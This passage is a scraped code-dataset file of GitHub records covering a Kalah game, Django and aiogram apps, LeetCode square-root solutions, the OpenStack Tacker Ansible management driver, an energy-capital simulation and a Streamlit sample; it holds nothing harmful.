moved, 'store')\n    print('Final Tally:')\n    print('Player 1:', str(sumBinsP1 + storeP1))\n    print('Player 2:', str(sumBinsP2 + storeP2))\n    if (sumBinsP1 + storeP1) == (sumBinsP2 + storeP2):\n        print('Game is a tie!')\n    elif (sumBinsP1 + storeP1) > (sumBinsP2 + storeP2):\n        print('Player 1 wins!')\n    else:\n        print('Player 2 wins!')\n\ndef is_valid_response(r, bMap, bVals):\n#  make sure response can be mapped and corresponds to an entry with  beans\n    if r == '':\n        return False\n    elif len(r) > 1 or r not in bMap:\n        print('Error: must enter a letter between a and f')\n        return False\n    elif bVals[bMap[r]] <= 0:\n        print('Error: must choose a bin with one or more beans')\n        return False\n    else:\n        return True\n\n\nif __name__ == '__main__':\n#init values\n    p1BinValues = {1:4,2:4,3:4,4:4,5:4,6:4,7:0}\n    p2BinValues = {1:4,2:4,3:4,4:4,5:4,6:4,7:0}\n    binMap = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6, 'store':7}\n    turn = 1\n    opp = False\n    position = 0\n    remaining = 0\n    results = {}\n\n\n    print('\\n Welcome to Kalah')\n\n    while not is_game_over(p1BinValues, p2BinValues):\n        response = ''\n        while not is_valid_response(response, binMap, p1BinValues if turn == 1 else p2BinValues):\n            print('\\n')\n            disp_board(p1BinValues, p2BinValues, binMap, turn)\n            response = input('Player ' + str(turn) + ': Choose a bin a through f: ')\n            response = str(response).lower()\n        position = binMap[response]\n        remaining  = remove_beans(position, p1BinValues if turn == 1 else p2BinValues)\n        results = {}\n        results = place_bean(p1BinValues, p2BinValues, turn, opp, position + 1, remaining, results)\n        print(str(results['placedcnt']), 'beans placed for player', str(turn))\n        if 'tostore' in results:\n            print(str(results['tostorecnt']), 'additional beans sent to store')\n        if results['goagain'] == True:\n            print('Player', str(turn), 'finished in own store')\n            print('Player', str(turn), 'goes again')\n        else:\n# switch turns\n            if turn == 1:\n                turn = 2\n            else:\n                turn = 1\n        opp = False\n        p1BinValues = results['p1']\n        p2BinValues = results['p2']\n\n\n    declare_winner(p1BinValues, p2BinValues)\n    print('Thanks for playing!')\n","repo_name":"morelofthestory/kalah","sub_path":"Kalah.py","file_name":"Kalah.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7563091752","text":"from collections import Counter\nfrom email.message import EmailMessage\nimport time\nimport subprocess\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db.models import Exists, OuterRef\nfrom django.utils import timezone\n\nfrom registrations.models import Registration, ScannerAction\nfrom registrations.actions.emails import envoyer_email\n\n\nDEFAULT_POLLING_TIME = 5\n\n\nclass Command(BaseCommand):\n    help = \"Signale (via du texte ou un email) quand un billet spécifique a été vu.\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\"ticket_id\", type=int)\n        parser.add_argument(\n            \"-q\",\n            \"--quiet\",\n            action=\"store_true\",\n            help=\"Ne pas écrire l'alerte sur la sortie erreur standard.\",\n        )\n        parser.add_argument(\n            \"-s\", \"--send-to\", action=\"append\", dest=\"recipients\", default=[]\n        )\n        parser.add_argument(\n            \"-p\", \"--polling-time\", type=int, default=DEFAULT_POLLING_TIME\n        )\n\n    def handle(self, ticket_id, quiet, recipients, polling_time, **kwargs):\n        try:\n            ticket = Registration.objects.get(id=ticket_id)\n        except Registration.DoesNotExist:\n            raise CommandError(\"Billet introuvable.\")\n        nom = f\"{ticket.full_name} ({ticket.event.name})\"\n\n        events = ticket.events.all()\n        seen = {e.id for e in events}\n        c = Counter(e.get_type_display() for e in events)\n        decomptes = \" / \".join(f\"{k}={v}\" for k, v in c.items())\n\n        if not quiet:\n            self.stdout.write(f\"Alertes pour {nom}\")\n            self.stdout.write(f\"Événements initiaux : {decomptes}\\n\")\n\n        while True:\n            time.sleep(polling_time)\n            actions = ticket.events.exclude(id__in=seen).order_by(\"time\")\n            if actions:\n                description = \"\\n\".join(\n                    f\"[{a.time.strftime('%H:%M')}] Action {a.get_type_display()}\"\n                    for a in actions\n                )\n\n                if len(actions) > 1:\n                    intro = f\"Les actions suivantes ont été effectées\"\n                else:\n                    intro = f\"L'action suivante a été effectué\"\n\n                body = f\"{intro}\\n{description}\"\n\n                if not quiet:\n                    self.stdout.write(f\"{description}\\n\")\n\n                for r in recipients:\n                    envoyer_email(\n                        recipient=r,\n                        subject=f\"Nouvelles actions pour {nom}\",\n                        body=body,\n                    )\n","repo_name":"lafranceinsoumise/scanner","sub_path":"registrations/management/commands/alerter_billet.py","file_name":"alerter_billet.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"22419789425","text":"\"\"\"\nGiven a non-negative integer x, compute and return the square root of x.\n\nSince the return type is an integer, the decimal digits are truncated, and only the integer part of the result is returned.\n\nNote: You are not allowed to use any built-in exponent function or operator, such as pow(x, 0.5) or x ** 0.5.\n\"\"\"\nimport unittest\nimport math\n\n\nclass solution0:\n    def mySqrt_math(self, x: int) -> int:\n        if x < 2:\n            return x\n        left = int(math.exp(0.5*math.log(x)))\n        right = left + 1\n        return left if right * right > x else right\n\n    # Complexity Analysis\n    #\n    # Time complexity : O(1).\n    #\n    # Space complexity : O(1).\n\n    def mySqrt(self, x: int) -> int:\n        if x == 0 or x == 1:\n            return x\n\n        i = 1\n        res = 1\n        while res <= x:\n            i += 1\n            res = i * i\n        return i - 1\n\n\nclass solution1:\n    def mySqrt(self, x: int) -> int:  # Binary search\n        # For x >= 2, the square root is always smaller than x/2 and larger than 0 : 0 < a < x/2.\n        if x < 2:\n            return x\n        l, r = 2, x//2\n        while l <= r:\n            mid = l + (r-l)//2\n            num = mid*mid\n            if num > x:\n                r = mid - 1\n            elif num < x:\n                l = mid + 1\n            else:\n                return mid\n        return r\n\n    # Time complexity: O(log N)\n    # T(N) = aT(N/b) + f(N^d), a = 1, b = 2, d=0, log_b a=d\n    # critical = log_b a = log(# sub-problems)/log(relative sub-problem size.)\n    # hence dealing with case 2 result in O(n^(log_b a)log^(d+1)N )\n    # Space complexity: O(1)\n\n    # Case 1: f(N^d log^k n) is the work to split/recombine a sub_problem. when d < critical\n    # upper bounded by a lesser exponent polynomial. ~~~\n    # T(N) = O(n^{log_b a})\n\n    # Case 2: d = log_b a, T(N) = O(n^d log^(k+1) N)\n\n    # Case 3: d > log_b a, T(N) = O(n^d)\n\n\nclass Testsolution0(unittest.TestCase):\n    def test0(self):\n        x = 4\n        out = 2\n        self.assertEqual(solution0().mySqrt(x), out)\n\n    def test1(self):\n        x = 8\n        out = 2\n        self.assertEqual(solution0().mySqrt(x), out)\n\n    def test2(self):\n        x = 90\n        out = 9\n        self.assertEqual(solution0().mySqrt(x), out)\n\n\nclass Testsolution1(unittest.TestCase):\n    def test0(self):\n        x = 4\n        out = 2\n        self.assertEqual(solution1().mySqrt(x), out)\n\n    def test1(self):\n        x = 8\n        out = 2\n        self.assertEqual(solution1().mySqrt(x), out)\n\n    def test2(self):\n        x = 90\n        out = 9\n        self.assertEqual(solution1().mySqrt(x), out)\n\nif __name__ == \"__main__\":\n    unittest.main()","repo_name":"Movahe/Leetcode-problems-sovled","sub_path":"69 Sqrt(x).py","file_name":"69 Sqrt(x).py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"30621935755","text":"\nfrom rest_framework import serializers\n\nfrom .models import Servicio\n\nclass ServicioSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Servicio\n\t\tfields = ('id','referencia','nombre','apellido','precio','nuevo','descripcion','image','fecha')\n\t\tread_only_fields = ('fecha',)","repo_name":"tanzawua/sinoes-mecorto-un-huevo","sub_path":"db_app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27474213424","text":"#for finding the missing metadata(202012)\n\nimport csv\n\nclade_f= open('C:/Users/user/Desktop/生專/python/chosen tsv/name_clade_mon_loc.tsv','r',encoding='utf-8')\nclade_tsv =csv.reader(clade_f, delimiter=\"\\t\")\ndone=open('C:/Users/user/Desktop/生專/python/find virus type/clade_meta_search.tsv','w',encoding='utf-8')\nx=0\nfor line in clade_tsv:\n    # if line[0]==\"hCoV-19/England/NORW-F6674/2020\":\n        # x+=1\n    # elif line[0]==\"hCoV-19/England/QEUH-DD3977/2021\":\n        # break\n\n    if line[1]==\"England\":\n        done.write(line[0]+'\\n')\n\n","repo_name":"cnwcoding/cov-19mutaion","sub_path":"找clade的metadata.py","file_name":"找clade的metadata.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24019941305","text":"from django.urls import path\nfrom . import views\n\napp_name='admins'\n\nurlpatterns = [\n    path('', views.admindashbord, name=\"admindash\"),\n    path('branch', views.branch_list, name='branch'),\n\n    # add branch \n    path('addbranch', views.add_branch, name=\"addbranch\"),\n    path('branchcourse/<int:id>', views.branch_course, name=\"branchcourse\"),\n\n    # teacher \n    path('teachers', views.teachers, name=\"teachers\"),\n    path('teachers_list/<int:id>', views.teachers_list, name=\"teachers_list\"),\n    path('add_teacher', views.add_teacher, name=\"addteacher\"),\n    path('deleteteacher/<int:id>',views.delete_teacher,name=\"deleteteacher\"),\n\n    # student\n\n    path('students', views.students,name=\"students\"),\n    path('coursestudents/<int:id>',  views.students_by_courses, name=\"coursestudents\"),\n    path('studentslist', views.students_list, name=\"studentslist\"),\n    path('addstudent', views.add_student, name=\"addstudent\"),\n    path('editstudent/<int:id>', views.edit_student_by_admin, name=\"editstudentadmin\"),\n    path('studentbatchlish/<int:id>/<int:bid>', views.studentbatchlish, name=\"studentbatchlish\"),\n    # path('deletestudent/<int:id>',views.delete_student,name=\"deletestudent\"),\n\n    \n\n    # courses\n    path('courses',views.courses,name=\"courses\"),\n    path('addcourses',views.add_courses,name=\"addcourses\"),\n    path('editcourse/<int:id>',views.edit_course,name=\"editcourse\"),\n\n    # batch\n    path('batch', views.batch, name=\"batch\"),\n    path('addbatch', views.add_batch, name=\"addbatch\"),\n    path('editbatch/<int:id>',views.edit_batch,name=\"editbatch\"),\n    # exams\n\n    path('exams', views.exam, name=\"exams\"),\n    path('examsadd/<int:id>', views.exam_add_list, name=\"examsadd\"),\n    path('examsaddfirst/<int:id>', views.exam_add_first, name=\"examsaddfirst\"),\n    path('examsaddone/<str:id>', views.exam_add_one, name=\"examsaddone\"),\n    path('examsaddtwo/<str:id>', views.exam_add_two, name=\"examsaddtwo\"),\n    path('savedata/', views.savedata, name=\"savedata\"),\n    path('updateQuestion/', views.updateQuestion, name=\"updateQuestion\"),\n    path('editQuestiontdata/<int:id>',views.editQuestiontdata,name=\"editQuestiontdata\"),\n    path('editexamdata/<int:id>',views.editExam,name=\"editexamdata\"),\n\n\n    # result\n\n    path('resultbatch', views.result_batch,name=\"resultbatch\"),\n    path('resultexam/<int:id>', views.result_exam,name=\"resultexam\"),\n    path('result/<int:id>/<int:bid>', views.result,name=\"result\"),\n    path('checkresult/<int:eid>/<int:sid>', views.checkresult,name=\"checkresult\"),\n    path('publishresult/<int:id>', views.resultPublish,name=\"publishresult\"),\n\n    # Exam rechedule\n\n    path('reschedule', views.reschedule, name=\"reschedule\"),\n    path('reschedulelist/<int:id>', views.reschedule_list, name=\"reschedulelist\"),\n    path('reschedulelistdelete/<int:id>', views.delete_schedule_status, name=\"reschedulelistdelete\"),\n\n\n   # profile\n\n   path('profile', views.admin_profile, name=\"adminprofile\"),\n\n    # fees admin\n\n    path('feesadding', views.fees_adding,name=\"feesadding\"),\n    path('getdatapayment', views.getdatapayment,name=\"getdatapayment\"),\n\n\n\n    # login\n    \n    path('login', views.log_in,name=\"adminlogin\"),\n    path('logout_view', views.logout_view,name=\"logout_view\"),\n   \n\n    # registration list\n\n    path('checkregistration', views.check_registration,name=\"checkregistration\"),\n    path('deletereg/<int:id>',views.delete_registration,name=\"deletereg\"),\n   \n\n]","repo_name":"mhdshahidak/ABC_Academy","sub_path":"adminapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31793654025","text":"from aiogram.types import CallbackQuery\nfrom aiogram_dialog import DialogManager, Window\nfrom aiogram_dialog.widgets.kbd import Button, Group\nfrom aiogram_dialog.widgets.text import Const, Format\n\nimport src.crypto_bot.messages.dialogs.configurator.windows as messages\nfrom src.crypto_bot.dialogs.configurator.states import ConfiguratorDialog\nfrom src.crypto_bot.dialogs.configurator.windows.common import (\n    exception_handler,\n    get_back_cancel_keyboard,\n)\nfrom src.crypto_bot.models.configuration import BuyMode, Configuration\n\n\n@exception_handler\nasync def next_click_personal(\n    call: CallbackQuery, button: Button, manager: DialogManager\n):  # pylint: disable=unused-argument\n    configuration = Configuration(user_id=call.from_user.id)\n    configuration.buy_mode = BuyMode(button.widget_id)\n    await manager.update({\"configuration\": configuration})\n    await manager.dialog().switch_to(ConfiguratorDialog.crypto_exchange)\n\n\n@exception_handler\nasync def next_click_company(\n    call: CallbackQuery, button: Button, manager: DialogManager\n):  # pylint: disable=unused-argument\n    configuration = Configuration(user_id=call.from_user.id)\n    configuration.buy_mode = BuyMode(button.widget_id)\n    await manager.update({\"configuration\": configuration})\n    await manager.dialog().switch_to(ConfiguratorDialog.company_buy)\n\n\nasync def get_data(*args, **kwargs):  # pylint: disable=unused-argument\n    return {\n        \"buy_mode\": messages.buy_mode(),\n    }\n\n\ndef get_buy_modes_keyboard() -> Group:\n    group = Group(\n        Button(\n            Const(messages.personal_buy_button()),\n            id=BuyMode.PERSONAL.value,\n            on_click=next_click_personal,\n        ),\n        Button(\n            Const(messages.company_buy_button()),\n            id=BuyMode.COMPANY.value,\n            on_click=next_click_company,\n        ),\n    )\n    return group\n\n\nbuy_mode = Window(\n    Format(\"{buy_mode}\"),\n    get_buy_modes_keyboard(),\n    get_back_cancel_keyboard(window_name=\"buy_mode\", show_back=False),\n    state=ConfiguratorDialog.buy_mode,\n    getter=get_data,\n)\n","repo_name":"sptmru/crypto-tg-bot","sub_path":"src/crypto_bot/dialogs/configurator/windows/buy_mode.py","file_name":"buy_mode.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31040206473","text":"## Counter 예제\n## Counter는 이름을 봐도 알 수 있듯이 count한 결과를 반환하는데 이때 dictionary의 형태를 활용해\n## 결과를 return한다\n\n## 해당 solution에서는 절대값을 기준으로 sorted된 결과가 필요하기 때문에 sorted( key=abs)를 활용했다\n## 참고 - dictionary는 .sort()가 없고 sorted함수를 활용해야한다. 혹은 keys()를 활용해서 list를 선언후\n## sort()를 활용할 수 있다.\n\nfrom collections import Counter\n\nclass Solution:\n    def canReorderDoubled(self, arr: List[int]) -> bool:\n        \n        cnt=Counter(arr)\n        \n        sorted_cnt=sorted(cnt, key= lambda x:abs(x))\n        #key = abs로 간단하게 적어줄 수 있다. 참고\n        \n        for i in sorted_cnt:\n            if cnt[i] <= cnt[i*2]:\n                cnt[i*2]-=cnt[i]\n            else:\n                return False\n        \n        return True","repo_name":"ske-kr/Myalgorithm","sub_path":"etc/leetcode_ArrayofDoubledPair.py","file_name":"leetcode_ArrayofDoubledPair.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72359927763","text":"#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\nimport os\nimport yaml\n\nfrom oslo_log import log as logging\nfrom oslo_serialization import jsonutils\n\nfrom tacker.vnfm.mgmt_drivers.ansible import ansible_config_parser\nfrom tacker.vnfm.mgmt_drivers.ansible import config_validator\nfrom tacker.vnfm.mgmt_drivers.ansible import event_handler\nfrom tacker.vnfm.mgmt_drivers.ansible import exceptions\nfrom tacker.vnfm.mgmt_drivers.ansible import heat_client\nfrom tacker.vnfm.mgmt_drivers.ansible import utils\n\nfrom tacker.vnfm.mgmt_drivers.ansible.config_actions.\\\n    vm_app_config import vm_app_config\n\nfrom tacker.vnflcm import utils as vnflcm_utils\nfrom tacker.vnfm.mgmt_drivers import constants as mgmt_constants\nfrom tacker.vnfm import plugin\n\nLOG = logging.getLogger(__name__)\nEVENT_HANDLER = event_handler.AnsibleEventHandler()\nSUPPORTED_ACTIONS = [\n    mgmt_constants.ACTION_INSTANTIATE_VNF,\n    mgmt_constants.ACTION_TERMINATE_VNF,\n    mgmt_constants.ACTION_HEAL_VNF,\n    mgmt_constants.ACTION_UPDATE_VNF,\n    mgmt_constants.ACTION_SCALE_IN_VNF,\n    mgmt_constants.ACTION_SCALE_OUT_VNF,\n]\n\n\nclass AnsibleDriver(object):\n\n    def __init__(self):\n        self._config_queue = {}\n        self._has_error = False\n        self._cfg_parser = ansible_config_parser.ConfigParser()\n        self._cfg_validator = config_validator.AnsibleConfigValidator()\n\n        self._config_actions = {}\n        self._config_actions[\"vm_app_config\"] = \\\n            vm_app_config.VmAppConfigAction()\n\n        self._vnf = None\n        self._plugin = plugin.VNFMPlugin()\n        self._vnf_instance = None\n        self._context = None\n\n        LOG.debug(\"Ansible Driver initialized successfully!\")\n\n    def get_type(self):\n        \"\"\"Mgmt driver for ansible\"\"\"\n        pass\n\n    def get_name(self):\n        \"\"\"Ansible Mgmt Driver\"\"\"\n        pass\n\n    def get_description(self):\n        pass\n\n    def _driver_process_flow(self, context, vnf_instance, action,\n            request_obj, **kwargs):\n        # set global, prevent passing for every function call\n        self._vnf = kwargs['vnf']\n        self._vnf_instance = vnf_instance\n        self._context = context\n\n        vnfd_dict = vnflcm_utils.get_vnfd_dict(context,\n                vnf_instance.vnfd_id,\n                vnf_instance.instantiated_vnf_info.flavour_id)\n        vnf_value = vnfd_dict['topology_template']['node_templates']['VNF']\n        interfaces_vnflcm_value = (vnf_value.get('interfaces', {})\n                .get('Vnflcm', {}))\n        artifacts_vnflcm_value = vnf_value.get('artifacts', {})\n\n        start_msg = (\"Ansible Management Driver invoked for configuration of\"\n                     \"VNF: {}\".format(self._vnf.get(\"name\")))\n\n        insta_info = self._vnf_instance.instantiated_vnf_info\n\n        if action == mgmt_constants.ACTION_HEAL_VNF:\n            for vnfc_info in insta_info.vnfc_resource_info:\n                is_exist = [instance_id for instance_id in\n                    request_obj.vnfc_instance_id\n                    if instance_id == vnfc_info.id]\n\n                if (not len(request_obj.vnfc_instance_id)\n                        or len(is_exist)):\n                    self._vnf['failed_vdu_name'] = vnfc_info.vdu_id\n                    break\n\n        EVENT_HANDLER.create_event(context, self._vnf,\n            utils.get_event_by_action(action,\n                self._vnf.get(\"failed_vdu_name\", None)),\n            start_msg)\n\n        # get the mgmt_url\n        vnf_mgmt_ip_address = self._vnf.get(\"mgmt_ip_address\", None)\n        if vnf_mgmt_ip_address is not None:\n            mgmt_url = jsonutils.loads(vnf_mgmt_ip_address)\n            LOG.debug(\"mgmt_url %s\", mgmt_url)\n        else:\n            LOG.info(\"Unable to retrieve mgmt_ip_address of VNF\")\n            return\n\n        action_interface = None\n        if action == mgmt_constants.ACTION_TERMINATE_VNF:\n            action_interface = 'terminate_start'\n        elif action == mgmt_constants.ACTION_SCALE_IN_VNF:\n            action_interface = 'scale_start'\n        elif action == mgmt_constants.ACTION_SCALE_OUT_VNF:\n            action_interface = 'scale_end'\n        elif action == mgmt_constants.ACTION_INSTANTIATE_VNF:\n            action_interface = 'instantiate_end'\n        elif action == mgmt_constants.ACTION_HEAL_VNF:\n            action_interface = 'heal_end'\n\n        action_value = interfaces_vnflcm_value.get(action_interface, {})\n        action_dependencies = (action_value.get('implementation', {})\n                .get('dependencies', []))\n\n        # NOTE: Currently action_dependencies is having the value of\n        # last element in the list because in the current specification\n        # only a single value is available for dependencies.\n        if isinstance(action_dependencies, list):\n            for arti in action_dependencies:\n                action_dependencies = arti\n\n        filename = artifacts_vnflcm_value.get(action_dependencies,\n                {}).get('file', {})\n\n        # load the configuration file\n        config_yaml = self._load_ansible_config(request_obj, filename)\n        if not config_yaml:\n            return\n\n        # validate config file\n        self._cfg_validator.validate(config_yaml)\n\n        # filter VDUs\n        if (action != mgmt_constants.ACTION_SCALE_IN_VNF and\n                action != mgmt_constants.ACTION_SCALE_OUT_VNF):\n            config_yaml = self._cfg_validator.filter_vdus(context, self._vnf,\n                utils.get_event_by_action(action,\n                    self._vnf.get(\"failed_vdu_name\", None)), mgmt_url,\n                config_yaml)\n\n        # load stack map\n        stack_map = self._get_stack_map(action, **kwargs)\n\n        # configure config parser for vnf parameter passing\n        self._cfg_parser.configure(self._context, self._vnf, self._plugin,\n            config_yaml, stack_map)\n\n        self._sort_config(config_yaml)\n\n        self._process_config(stack_map, config_yaml, mgmt_url, action)\n\n    def _sort_config(self, config_yaml):\n        self._config_queue = {}\n        for vdu, vdu_dict in config_yaml.get(\"vdus\", {}).items():\n            self._add_to_config_queue(vdu, vdu_dict.get(\"config\", {}))\n\n    def _process_config(self, stack_map, config_yaml, mgmt_url, action):\n        for vdu_order in sorted(self._config_queue):\n            config_info_list = self._config_queue[vdu_order]\n            for config_info in config_info_list:\n                vdu = config_info[\"vdu\"]\n                config = config_info[\"config\"]\n\n                for key, conf_value in config.items():\n                    if key not in self._config_actions:\n                        continue\n\n                    LOG.debug(\"Processing configuration: {}\".format(key))\n                    self._config_actions[key].execute(\n                        vdu=vdu,\n                        vnf=self._vnf,\n                        context=self._context,\n                        conf_value=conf_value,\n                        mgmt_url=mgmt_url,\n                        cfg_parser=self._cfg_parser,\n                        stack_map=stack_map,\n                        config_yaml=config_yaml,\n                        action=action,\n                    )\n\n    def _add_to_config_queue(self, vdu, config):\n        if \"order\" not in config:\n            raise exceptions.MandatoryKeyNotDefinedError(vdu=vdu, key=\"order\")\n\n        try:\n            order = int(config[\"order\"])\n        except ValueError:\n            raise exceptions.InvalidValueError(vdu=vdu, key=\"order\")\n\n        config_info = {\n            \"vdu\": vdu,\n            \"config\": config\n        }\n\n        if order in self._config_queue:\n            self._config_queue[order].append(config_info)\n        else:\n            entity_list = []\n            entity_list.append(config_info)\n            self._config_queue[order] = entity_list\n\n    def _get_stack_map(self, action, **kwargs):\n        stack_id_map = {}\n        stack_id = None\n        stack_id_list = None\n        scaling_actions = [\n            mgmt_constants.ACTION_SCALE_IN_VNF,\n            mgmt_constants.ACTION_SCALE_OUT_VNF,\n        ]\n\n        if action in scaling_actions:\n            stack_id = kwargs[\"scale_out_id_list\"]\n        else:\n            stack_id = self._vnf_instance.instantiated_vnf_info.instance_id\n\n        LOG.debug(\"stack_id: {}\".format(stack_id))\n        if stack_id:\n            if not isinstance(stack_id, list):\n                stack_id_list = [stack_id]\n            else:\n                stack_id_list = stack_id\n\n        hc = heat_client.AnsibleHeatClient(self._context, self._plugin,\n            self._vnf)\n\n        for stack_ids in stack_id_list:\n            parent_stack_id = hc.get_parent_stack_id(stack_ids)\n            for resource in hc.get_resource_list(parent_stack_id):\n                if resource.physical_resource_id == stack_ids:\n                    attr = hc.get_resource_attributes(\n                        parent_stack_id, resource.resource_name)\n                    stack_id_map = self._add_to_stack_map(stack_id_map, attr)\n\n        LOG.debug(\"stack_id_map: {}\".format(stack_id_map))\n        return stack_id_map\n\n    def _add_to_stack_map(self, map, attributes):\n        for key, value in attributes.items():\n            if \"mgmt_ip-\" in key:\n                vdu_name = key.replace(\"mgmt_ip-\", \"\")\n                if vdu_name in map:\n                    map[vdu_name].append(value)\n                else:\n                    map[vdu_name] = [value]\n        return map\n\n    def _get_config(self, config_data, config_params, vnf_package_path):\n        configurable_properties = config_data.get('configurable_properties')\n\n        # add vnf_package_path to vnf_configurable properties\n        if not configurable_properties:\n            configurable_properties = {\n                '_VAR_vnf_package_path': vnf_package_path + '/'\n            }\n        else:\n            configurable_properties.update(\n                {'_VAR_vnf_package_path': vnf_package_path + '/'})\n\n        for k, v in config_params.items():\n            var_key = '_VAR_' + k\n            configurable_properties.update({var_key: v})\n\n        config_data.update(\n            {'configurable_properties': configurable_properties})\n\n        LOG.debug('Modified config {}'.format(config_data))\n\n        return yaml.dump(config_data)\n\n    def _load_ansible_config(self, request_obj, filename):\n        # load vnf package path\n        vnf_package_path = vnflcm_utils._get_vnf_package_path(self._context,\n            self._vnf_instance.vnfd_id)\n        script_ansible_path = os.path.join(vnf_package_path, filename)\n\n        script_ansible_config = None\n        # load ScriptANSIBLE/config.yaml\n        if os.path.exists(script_ansible_path):\n            with open(script_ansible_path) as file_obj:\n                script_ansible_config = yaml.safe_load(file_obj)\n\n        if script_ansible_config is None:\n            LOG.error(\"not defined ansible script config\")\n\n        config_params = {}\n\n        if hasattr(self._vnf_instance.instantiated_vnf_info,\n                'additional_params'):\n            config_params = self._vnf_instance.instantiated_vnf_info.\\\n                additional_params\n        elif hasattr(request_obj, 'additional_params'):\n            config_params = request_obj.additional_params\n\n        self._vnf['attributes']['config'] = self._get_config(\n            script_ansible_config, config_params, vnf_package_path)\n\n        return script_ansible_config\n","repo_name":"openstack/tacker","sub_path":"samples/mgmt_driver/ansible/ansible_driver.py","file_name":"ansible_driver.py","file_ext":"py","file_size_in_byte":11915,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"3"}
+{"seq_id":"21335028097","text":"from func_gen_simple import *\n\n\ndef genData(i):\n\tL0 = 2005.0 * 10**3 * 0.3 * 3827.0 # initial low emitting capital \n\tH0 = (336341.0 + 485957.0) * 10**3 * 0.5 * 1714.0 # intial coal + ng high emitting capital \n\t\t# MW * 1000kW/MW * capacity * $/kW from Fh_0 or Fl_0\n\n\talpha = 0.5 # emissions reduction fraction\n\tbeta = 0.4 # fraction of yearly operating costs\n\tr = 0.05 # interest rate\n\n\tkWperYearTokWh = 8760.0 # conversion of 1 kW power capacity for 1 year to kWh energy\n\n\tFh_0 = 0.0006 * 0.5 * kWperYearTokWh # base high emitting efficiency kW/$ * kWh conversion * capacity factor\n\tFh_m = 3*0.5*10**-6 * kWperYearTokWh # linear slope high emitting efficiency * kWh conversion * capacity factor \n\tFl_0 = (1.0/3827.0)*0.3 * kWperYearTokWh # base low emitting efficiency kW/$ * kWh conversion * capacity factor\n\tFl_m = 0.01 # linear slope low emitting efficiency\n\n\tel_0 = 0.0 # base emissions for low-intensity capital in lbs CO2/kWh\n\tel_m = -0.1 # linear slope emissions for low-intensity capital\n\teh_0 = 1.6984 # base emissions for high intensity capital in lbs CO2/kWh\n\teh_m = -0.0031 # slope emissions for high-intensity capital\n\n\tG_0 = 2798.5 * 10**9 # billion kWh electricity demanded\n\tG_m = 32.238 * 10**9 # annual growth in demand for electricity in billion kWh\n\n\tperiod = 50 # simulation length (!= to n)\n\ttreaty = 100 # number of years of treaty length - must be less than period\n\tn = 20 # depreciation length for high emitting\n\t#nl = 10 # depreciation length for low emitting\n\n\n\t# generate efficiency and carbon intensity data\n\tGList = linGen(period + 1, G_0, G_m, minimum = 0.0, maximum = 6.0 *10.0 **12) # energy demand over time\n\t# logistic arguments: (k, initial, increasing, randomAllowed, scale = 0.5, minVal= 0, maxVal=1)\n\t# randomAllowed = True varies scale (rate) of change of the trajectory\n\tFlScale, FlList = logistic(period+1, Fl_0, True, False, scale = i/100.0, minVal=0.34334988, maxVal=2.8658669) # low emitting efficiency trajectory\n\t\t# min is half of base, max is efficiency of natural gas ($917/kW) at 30% capacity\n\tFhList = linGen(period+1, Fh_0, Fh_m, maximum=4.7764449) # high emitting efficiency trajectory \n\t\t# weighted average of coal and NG. Max is 1/917 * 8760 * 0.5\n\t\t\n\tmlList = consGen(period+1, el_0) # low emitting carbon intensity trajectory\n\t\t# constant \n\tmhList = linGen(period+1, eh_0, eh_m, minimum=1.22) # high emitting carbon intensity trajectory\n\t\t# minimum is emission from 100% natural gas.\n\n\treturn GList, FlList, FhList, mlList, mhList, period, H0, L0, alpha, r, n\n\n\n\n","repo_name":"cicconea/EnergyTransition","sub_path":"mc_simple.py","file_name":"mc_simple.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15456756871","text":"import pandas as pd\nimport streamlit as st\n\n\n# Cache the dataframe so it's only loaded once\n@st.cache_data\ndef load_data():\n    return pd.DataFrame(\n        {\n            \"first column\": [1, 2, 3, 4],\n            \"second column\": [10, 20, 30, 40],\n        }\n    )\n\n\n# Boolean to resize the dataframe, stored as a session state variable\nst.checkbox(\"Use container width\", value=False, key=\"use_container_width\")\n\ndf = load_data()\n\n# Display the dataframe and allow the user to stretch the dataframe\n# across the full width of the container\nst.dataframe(df, use_container_width=st.session_state.use_container_width)\n","repo_name":"whitphx/stlite","sub_path":"packages/sharing-editor/public/samples/011_component_gallery/pages/data.dataframe2.py","file_name":"data.dataframe2.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":757,"dataset":"github-code","pt":"3"}
